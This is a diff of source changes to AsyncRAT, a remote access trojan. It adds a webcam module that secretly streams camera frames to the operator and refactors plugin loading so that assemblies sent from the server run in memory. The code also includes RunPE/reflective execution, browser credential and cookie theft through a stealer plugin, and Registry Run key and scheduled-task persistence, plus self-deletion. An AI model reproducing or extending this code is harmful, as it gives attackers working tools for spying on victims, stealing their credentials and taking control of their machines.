@@ -0,0 +1,32 @@ +using Client.MessagePack; +using Client.Connection; +using System; +using System.Threading; +using System.Reflection; +using System.Diagnostics; +using Client.Helper; + +namespace Client.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(MsgPack unpack_msgpack) + { + new Thread(delegate () + { + try + { + Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); + MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize"); + meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate }); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + Packet.Error(ex.Message); + } + }) + { IsBackground = true }.Start(); + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs index 23c3ebd..cd316ff 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Diagnostics; using System.Drawing; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index 38b0df8..42f8415 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -1,21 +1,20 @@ -using Client.MessagePack; -using Client.Sockets; -using System.Drawing; -using System.Drawing.Imaging; +using System; using System.IO; -using System.Windows.Forms; -using Client.Helper; -using System; -using Client.StreamLibrary.UnsafeCodecs; -using Client.StreamLibrary; -using System.Runtime.InteropServices; using System.Threading; +using System.Drawing.Imaging; +using System.Drawing; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using Client.MessagePack; +using Client.Connection; +using Client.StreamLibrary.UnsafeCodecs; +using Client.Helper; +using Client.StreamLibrary; namespace Client.Handle_Packet { public class HandleRemoteDesktop { - public HandleRemoteDesktop(MsgPack unpack_msgpack) { try @@ -80,7 +79,6 @@ namespace Client.Handle_Packet tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); tempSocket.SslClient.Write(msgpack.Encode2Bytes()); tempSocket.SslClient.Flush(); - Thread.Sleep(1); } } bmp.UnlockBits(bmpData); @@ -88,9 +86,13 @@ namespace Client.Handle_Packet } catch { break; } } - bmp?.UnlockBits(bmpData); - bmp?.Dispose(); - tempSocket?.Dispose(); + try + { + bmp?.UnlockBits(bmpData); + bmp?.Dispose(); + tempSocket?.Dispose(); + } + catch { } } private Bitmap GetScreen(int Scrn) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs index 90f60f9..a78b86d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs index 8cc2262..d609884 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs @@ -14,6 +14,7 @@ namespace Client.Handle_Packet { try { + //Drop To Disk string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); Process.Start(fullPath); @@ -37,6 +38,7 @@ namespace Client.Handle_Packet byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); if (injection.Length == 0) { + //Reflection new Thread(delegate () { try @@ -59,12 +61,13 @@ namespace Client.Handle_Packet } else { + //RunPE new Thread(delegate () { try { Assembly loader = Assembly.Load(plugin); - MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) }); } catch (Exception ex) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs index 5ba1857..cac03ee 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs index 1579214..52e6194 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs b/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs index c9a077a..7ac3e38 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs index 191262d..eaaf25d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs @@ -19,16 +19,16 @@ namespace Client.Handle_Packet try { if (!Methods.IsAdmin()) - Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Path.GetFileName(Settings.ClientFullPath)); + Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Settings.InstallFile); else { Process.Start(new ProcessStartInfo() { FileName = "schtasks", - Arguments = $"/delete /tn {Path.GetFileName(Settings.ClientFullPath)} /f", + Arguments = $"/delete /tn {Settings.InstallFile} /f", CreateNoWindow = true, ErrorDialog = false, - UseShellExecute = true, + UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); } @@ -43,6 +43,7 @@ namespace Client.Handle_Packet Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, + UseShellExecute = false, FileName = "cmd.exe" }; } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs new file mode 100644 index 0000000..04c6903 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs @@ -0,0 +1,213 @@ +using AForge.Video; +using AForge.Video.DirectShow; +using Client.Connection; +using Client.Helper; +using Client.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; + +namespace Client.Handle_Packet +{ + public static class HandleWebcam + { + public static bool IsOn = false; + public static VideoCaptureDevice FinalVideo; + public static string HWID = Methods.HWID(); + private static MemoryStream Camstream = new MemoryStream(); + private static TempSocket TempSocket = null; + private static int Quality = 50; + + public static void Run(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "webcam": + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getWebcams": + { + TempSocket?.Dispose(); + TempSocket = new TempSocket(); + if (TempSocket.IsConnected) + { + GetWebcams(); + } + else + { + new Thread(() => + { + try + { + TempSocket.Dispose(); + CaptureDispose(); + } + catch { } + }).Start(); + } + break; + } + + case "capture": + { + if (IsOn == true) return; + if (TempSocket.IsConnected) + { + IsOn = true; + FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); + Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; + FinalVideo.NewFrame += CaptureRun; + FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; + FinalVideo.Start(); + } + else + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + } + break; + } + + case "stop": + { + new Thread(() => + { + try + { + CaptureDispose(); + } + catch { } + }).Start(); + break; + } + } + break; + } + } + } + catch (Exception ex) + { + Debug.WriteLine("Webcam switch" + ex.Message); + } + } + + private static void CaptureRun(object sender, NewFrameEventArgs e) + { + try + { + if (TempSocket.IsConnected) + { + if (IsOn == true) + { + Bitmap image = (Bitmap)e.Frame.Clone(); + using (Camstream = new MemoryStream()) + { + System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; + EncoderParameters myEncoderParameters = new EncoderParameters(1); + EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); + myEncoderParameters.Param[0] = myEncoderParameter; + ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg); + image.Save(Camstream, jpgEncoder, myEncoderParameters); + myEncoderParameters?.Dispose(); + myEncoderParameter?.Dispose(); + image?.Dispose(); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("Command").AsString = "capture"; + msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); + TempSocket.Send(msgpack.Encode2Bytes()); + } + } + } + else + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + } + } + catch (Exception ex) + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + Debug.WriteLine("CaptureRun: " + ex.Message); + } + } + + private static void GetWebcams() + { + try + { + StringBuilder deviceInfo = new StringBuilder(); + FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) + { + deviceInfo.Append(videoCaptureDevice.Name + "-=>"); + VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); + Debug.WriteLine(videoCaptureDevice.Name); + } + MsgPack msgpack = new MsgPack(); + if (deviceInfo.Length > 0) + { + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("List").AsString = deviceInfo.ToString(); + } + else + { + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("List").AsString = "None"; + } + TempSocket.Send(msgpack.Encode2Bytes()); + } + catch { } + } + + private static void CaptureDispose() + { + try + { + IsOn = false; + FinalVideo.Stop(); + FinalVideo.NewFrame -= CaptureRun; + Camstream?.Dispose(); + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs index 9e32ab1..98304aa 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Linq; @@ -16,8 +16,8 @@ namespace Client.Handle_Packet { // DLL StealerLib => gitlab.com/thoxy/stealerlib Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); - MethodInfo meth = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCredential"); - MethodInfo meth2 = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCookies"); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential"); + MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies"); object injObj = loader.CreateInstance(meth.Name); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index a5675e0..ccc1682 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -1,6 +1,7 @@ -using Client.Helper; +using Client.Algorithm; +using Client.Helper; using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Diagnostics; using System.IO; @@ -239,6 +240,13 @@ namespace Client.Handle_Packet break; } + case "webcam": + { + HandleWebcam.Run(unpack_msgpack); + break; + } + + //case "netStat": // { // HandleNetStat.RunNetStat(); diff --git a/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/Client/Helper/FormChat.cs index 44b36af..9a68e21 100644 --- a/AsyncRAT-C#/Client/Helper/FormChat.cs +++ b/AsyncRAT-C#/Client/Helper/FormChat.cs @@ -1,6 +1,6 @@ using Client.Handle_Packet; using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.ComponentModel; diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 6afee21..63a4c18 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using Microsoft.VisualBasic.Devices; using System; using System.Collections.Generic; @@ -11,10 +11,11 @@ using System.Security.Cryptography; using System.Security.Principal; using System.Text; using System.Threading; +using System.Drawing.Imaging; namespace Client.Helper { - static class Methods + static class Methods { public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); @@ -68,9 +69,9 @@ namespace Client.Helper if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) ProcessCritical.Exit(); CloseMutex(); - ClientSocket.Client?.Shutdown(SocketShutdown.Both); + ClientSocket.TcpClient?.Shutdown(SocketShutdown.Both); ClientSocket.SslClient?.Close(); - ClientSocket.Client?.Close(); + ClientSocket.TcpClient?.Close(); } catch { } } @@ -106,5 +107,19 @@ namespace Client.Helper msgpack.ForcePathObject("Antivirus").AsString = Antivirus(); return msgpack.Encode2Bytes(); } + + public static ImageCodecInfo GetEncoder(ImageFormat format) + { + ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders(); + foreach (ImageCodecInfo codec in codecs) + { + if (codec.FormatID == format.Guid) + { + return codec; + } + } + return null; + } + } } diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index 8b9c2d7..d9cc9ec 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -15,13 +15,14 @@ namespace Client.Install { try { - if (Process.GetCurrentProcess().MainModule.FileName != Settings.ClientFullPath) + string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile); + if (Process.GetCurrentProcess().MainModule.FileName != installfullpath) { foreach (Process P in Process.GetProcesses()) { try { - if (P.MainModule.FileName == Settings.ClientFullPath) + if (P.MainModule.FileName == installfullpath) P.Kill(); } catch @@ -31,22 +32,22 @@ namespace Client.Install } FileStream fs; - if (File.Exists(Settings.ClientFullPath)) + if (File.Exists(installfullpath)) { - File.Delete(Settings.ClientFullPath); + File.Delete(installfullpath); Thread.Sleep(1000); - fs = new FileStream(Settings.ClientFullPath, FileMode.Create); + fs = new FileStream(installfullpath, FileMode.Create); } else - fs = new FileStream(Settings.ClientFullPath, FileMode.CreateNew); + fs = new FileStream(installfullpath, FileMode.CreateNew); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); fs.Write(clientExe, 0, clientExe.Length); fs.Dispose(); string tempName = Path.GetTempFileName() + ".vbs"; - string TempPath = Strings.StrReverse(Settings.ClientFullPath); - string TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath)); + string TempPath = Strings.StrReverse(installfullpath); + string TempPathName = Strings.StrReverse(Path.GetFileName(installfullpath)); using (StreamWriter sw = new StreamWriter(tempName, false)) { if (!Methods.IsAdmin()) @@ -64,7 +65,7 @@ namespace Client.Install Process.Start(tempName); Thread.Sleep(1000); File.Delete(tempName); - Process.Start(Settings.ClientFullPath); + Process.Start(installfullpath); Methods.ClientExit(); Environment.Exit(0); } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index f6534a6..a2414ca 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -1,5 +1,5 @@ using System.Threading; -using Client.Sockets; +using Client.Connection; using Client.Install; using System; using Client.Helper; diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index efb5a62..73c8006 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -1,4 +1,4 @@ -using Client.Cryptography; +using Client.Algorithm; using System; using System.IO; using System.Security.Cryptography; @@ -10,11 +10,12 @@ namespace Client public static class Settings { #if DEBUG - public static string Ports = "6606,"; - public static string Hosts = "127.0.0.1,"; - public static string Version = "0.5.1"; + public static string Ports = "6606"; + public static string Hosts = "127.0.0.1"; + public static string Version = "0.5.2"; public static string Install = "false"; - public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); + public static string InstallFolder = "AppData"; + public static string InstallFile = "Test.exe"; public static string Key = "NYAN CAT"; public static string MTX = "%MTX%"; public static string Certificate = "%Certificate%"; @@ -30,7 +31,8 @@ namespace Client public static string Hosts = "%Hosts%"; public static string Version = "%Version%"; public static string Install = "%Install%"; - public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%"); + public static string InstallFolder = "%Folder%"; + public static string InstallFile = "%File%"; public static string Key = "%Key%"; public static string MTX = "%MTX%"; public static string Certificate = "%Certificate%"; diff --git a/AsyncRAT-C#/Server/Cryptography/Aes256.cs b/AsyncRAT-C#/Server/Algorithm/Aes256.cs similarity index 99% rename from AsyncRAT-C#/Server/Cryptography/Aes256.cs rename to AsyncRAT-C#/Server/Algorithm/Aes256.cs index 3c3288d..226edc0 100644 --- a/AsyncRAT-C#/Server/Cryptography/Aes256.cs +++ b/AsyncRAT-C#/Server/Algorithm/Aes256.cs @@ -7,7 +7,7 @@ using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; -namespace Server.Cryptography +namespace Server.Algorithm { public class Aes256 { diff --git a/AsyncRAT-C#/Server/Cryptography/Sha256.cs b/AsyncRAT-C#/Server/Algorithm/Sha256.cs similarity index 96% rename from AsyncRAT-C#/Server/Cryptography/Sha256.cs rename to AsyncRAT-C#/Server/Algorithm/Sha256.cs index c048434..c01936d 100644 --- a/AsyncRAT-C#/Server/Cryptography/Sha256.cs +++ b/AsyncRAT-C#/Server/Algorithm/Sha256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace Server.Cryptography +namespace Server.Algorithm { public static class Sha256 { diff --git a/AsyncRAT-C#/Server/Socket/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs similarity index 70% rename from AsyncRAT-C#/Server/Socket/Clients.cs rename to AsyncRAT-C#/Server/Connection/Clients.cs index 766441b..ad4d12e 100644 --- a/AsyncRAT-C#/Server/Socket/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -12,13 +12,15 @@ using System.Text; using System.Net.Security; using System.Security.Authentication; using System.Threading.Tasks; +using Server.Algorithm; +using Server.Helper; -namespace Server.Sockets +namespace Server.Connection { public class Clients { - public Socket ClientSocket { get; set; } - public SslStream ClientSslStream { get; set; } + public Socket TcpClient { get; set; } + public SslStream SslClient { get; set; } public ListViewItem LV { get; set; } public ListViewItem LV2 { get; set; } public string ID { get; set; } @@ -29,27 +31,28 @@ namespace Server.Sockets public object SendSync { get; } = new object(); public long BytesRecevied { get; set; } + public Clients(Socket socket) { - ClientSocket = socket; - ClientSslStream = new SslStream(new NetworkStream(ClientSocket, true), false); - ClientSslStream.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); + TcpClient = socket; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false); + SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); } private void EndAuthenticate(IAsyncResult ar) { try { - ClientSslStream.EndAuthenticateAsServer(ar); + SslClient.EndAuthenticateAsServer(ar); ClientBuffer = new byte[4]; ClientMS = new MemoryStream(); - ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); + SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); - ClientSslStream?.Dispose(); - ClientSocket?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); } } @@ -57,14 +60,14 @@ namespace Server.Sockets { try { - if (!ClientSocket.Connected) + if (!TcpClient.Connected) { Disconnected(); return; } else { - int Recevied = ClientSslStream.EndRead(ar); + int Recevied = SslClient.EndRead(ar); if (Recevied > 0) { await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); @@ -96,7 +99,7 @@ namespace Server.Sockets ClientBufferRecevied = false; } } - ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); + SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } else { @@ -141,10 +144,16 @@ namespace Server.Sockets try { - ClientSslStream?.Close(); - ClientSocket?.Close(); - ClientSslStream?.Dispose(); - ClientSocket?.Dispose(); + TcpClient.Shutdown(SocketShutdown.Both); + } + catch { } + + try + { + SslClient?.Close(); + TcpClient?.Close(); + SslClient?.Dispose(); + TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } @@ -156,30 +165,41 @@ namespace Server.Sockets { try { - if (!ClientSocket.Connected) + if (!TcpClient.Connected) { Disconnected(); return; } if ((byte[])msg == null) return; - byte[] buffer = (byte[])msg; byte[] buffersize = BitConverter.GetBytes(buffer.Length); - ClientSocket.Poll(-1, SelectMode.SelectWrite); - ClientSslStream.Write(buffersize, 0, buffersize.Length); - ClientSslStream.Write(buffer, 0, buffer.Length); - ClientSslStream.Flush(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + SslClient.Flush(); + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(buffer)) + using (BinaryReader binaryReader = new BinaryReader(buffereReader)) + { + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk); + SslClient.Flush(); + Settings.Sent += chunk.Length; + } while (bytesToRead > 0); + } Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); - Settings.Sent += buffer.Length; } catch { Disconnected(); return; } - } } diff --git a/AsyncRAT-C#/Server/Socket/Listener.cs b/AsyncRAT-C#/Server/Connection/Listener.cs similarity index 93% rename from AsyncRAT-C#/Server/Socket/Listener.cs rename to AsyncRAT-C#/Server/Connection/Listener.cs index 235ddfb..f30e86e 100644 --- a/AsyncRAT-C#/Server/Socket/Listener.cs +++ b/AsyncRAT-C#/Server/Connection/Listener.cs @@ -6,7 +6,7 @@ using System.Drawing; using Server.Handle_Packet; using System.Diagnostics; -namespace Server.Sockets +namespace Server.Connection { class Listener { @@ -23,7 +23,7 @@ namespace Server.Sockets ReceiveBufferSize = 50 * 1024, }; Server.Bind(ipEndPoint); - Server.Listen(30); + Server.Listen(50); new HandleLogs().Addmsg($"Listenning {port}", Color.Green); Server.BeginAccept(EndAccept, null); } @@ -40,6 +40,7 @@ namespace Server.Sockets { new Clients(Server.EndAccept(ar)); } + catch { } finally { Server.BeginAccept(EndAccept, null); diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 17e9ff2..b04d03a 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -55,6 +55,7 @@ this.reportWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.runToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.botsKillerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uSBSpreadToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); @@ -221,20 +222,20 @@ this.toolStripSeparator1, this.bUILDERToolStripMenuItem}); this.contextMenuClient.Name = "contextMenuStrip1"; - this.contextMenuClient.Size = new System.Drawing.Size(245, 273); + this.contextMenuClient.Size = new System.Drawing.Size(199, 240); // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; - this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(241, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(195, 6); // // sENDFILEToolStripMenuItem // @@ -243,7 +244,7 @@ this.tODISKToolStripMenuItem}); this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.sENDFILEToolStripMenuItem.Text = "Send File"; // // tOMEMORYToolStripMenuItem @@ -268,10 +269,11 @@ this.passwordRecoveryToolStripMenuItem1, this.fileManagerToolStripMenuItem1, this.processManagerToolStripMenuItem1, - this.reportWindowToolStripMenuItem}); + this.reportWindowToolStripMenuItem, + this.webcamToolStripMenuItem}); this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; - this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.monitoringToolStripMenuItem.Text = "Monitoring"; // // remoteDesktopToolStripMenuItem1 @@ -338,6 +340,14 @@ this.stopToolStripMenuItem2.Text = "Stop"; this.stopToolStripMenuItem2.Click += new System.EventHandler(this.StopToolStripMenuItem2_Click); // + // webcamToolStripMenuItem + // + this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; + this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.webcamToolStripMenuItem.Text = "Webcam"; + this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); + // // miscellaneousToolStripMenuItem // this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -349,14 +359,14 @@ this.executeNETCodeToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // botsKillerToolStripMenuItem // this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; - this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); // @@ -364,7 +374,7 @@ // 